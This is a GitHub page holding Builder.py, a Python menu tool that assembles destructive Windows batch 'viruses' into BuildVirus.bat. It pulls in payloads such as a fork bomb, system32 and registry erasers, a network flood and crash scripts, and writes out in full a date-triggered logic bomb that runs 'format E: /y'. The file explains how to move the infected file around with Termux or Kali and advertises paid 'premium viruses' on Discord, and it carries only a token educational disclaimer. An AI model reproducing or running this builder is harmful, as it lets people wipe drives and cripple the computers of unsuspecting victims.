-
Notifications
You must be signed in to change notification settings - Fork 1
/
Builder.py
152 lines (112 loc) · 3.95 KB
/
Builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import os
from files.colors import *
from files.sprint import sprint
from scripts.menu import menu, sleep
from files.banner import banner, clear
clear()
if os.path.exists('insfaction.bat'):
os.remove('BuildVirus.bat')
banner()
sprint(ly + "\n\t\tPreparing Database...")
sleep(2)
sprint(ly + "\n\n\t\tAlmost Done...")
sleep(2)
sprint(c + "\t\tLoaded Successfully")
print(c + "\n\nNote: " + lr + "Use this tool for educational purpose.\n\t")
sleep(1)
sprint(ly + "\t\tStarting Builder.....")
def call():
sleep(1)
print(lc + f"\n{w}[{r}~{w}]{lg} Virus prepared successfully!")
sprint(
ran + f"\n{w}[{c}>{w}]{ran}To access the infected file in termux\n" + c + f"{w}[{c}>{w}]{ran}Type 'cp BuildVirus.bat /sdcard'"
+ lr + f"\n{w}[{c}>{w}]{ran}In Kali type 'cp BuildVirus.bat /'TYPE PATH'")
def write(data, file='BuildVirus.bat'):
with open(file, 'a+') as vir:
vir.write(data)
def Build(vir_name):
sprint(ran + "\nPreparing...")
write(vir_name)
call()
def builder():
menu()
choice = input(lg + "root@BuildVirus~ " + ly)
if choice == "1":
exit()
elif choice == "2":
from scripts.collector import application_bomber_read
Build(application_bomber_read)
elif choice == "3":
from scripts.collector import auto_shutdown_read
Build(auto_shutdown_read)
elif choice == "4":
from scripts.collector import caps_toggle_read
Build(caps_toggle_read)
elif choice == "5":
from scripts.collector import danger_zone_read
Build(danger_zone_read)
elif choice == "6":
from scripts.collector import reg_eraser_read
Build(reg_eraser_read)
elif choice == "7":
from scripts.collector import sys32_read
Build(sys32_read)
elif choice == "8":
from scripts.collector import drive_read
Build(drive_read)
elif choice == "9":
from scripts.collector import forkBomb_read
Build(forkBomb_read)
elif choice == "10":
from scripts.collector import internet_disabler_read
Build(internet_disabler_read)
elif choice == "11":
from scripts.collector import network_flood_read
Build(network_flood_read)
elif choice == "12":
from scripts.collector import pc_crash_read
Build(pc_crash_read)
elif choice == "13":
from scripts.collector import pc_crash2_read
Build(pc_crash2_read)
elif choice == "14":
from scripts.collector import shutdown_read
Build(shutdown_read)
elif choice == "15":
from scripts.collector import up_internet_read
Build(up_internet_read)
elif choice == "16":
from scripts.collector import stop_internet_read
Build(stop_internet_read)
elif choice == "17":
from scripts.collector import sys_eraser_read
Build(sys_eraser_read)
elif choice == "18":
from scripts.collector import sys_melter_read
Build(sys_melter_read)
elif choice == "19":
from scripts.collector import the_matrix_read
Build(the_matrix_read)
elif choice == "20":
date = input(ran + "Enter date of explosion [Eg: 30/12/2021] :")
time_bomb_read = f"""
If %date% NEQ {date} goto exit
format E: /y >nul
:exit
exit
"""
with open("BuildVirus.bat", "a+") as BuildVirus:
BuildVirus.write(time_bomb_read)
sprint(ran + "\nPreparing...")
call()
elif int(choice) > 20 and int(choice) <= 25:
sprint(g + "To buy premium viruses, Contact me on Discord @jatintiwari0 ")
else:
sprint(r + "Successfully typed INVALID OPTION! ")
pass
no = ['n', 'no']
yes = ['y', 'yes']
cont = ""
while cont not in no:
builder()
cont = input(ran + "Do you want to continue? [y/n]:").lower()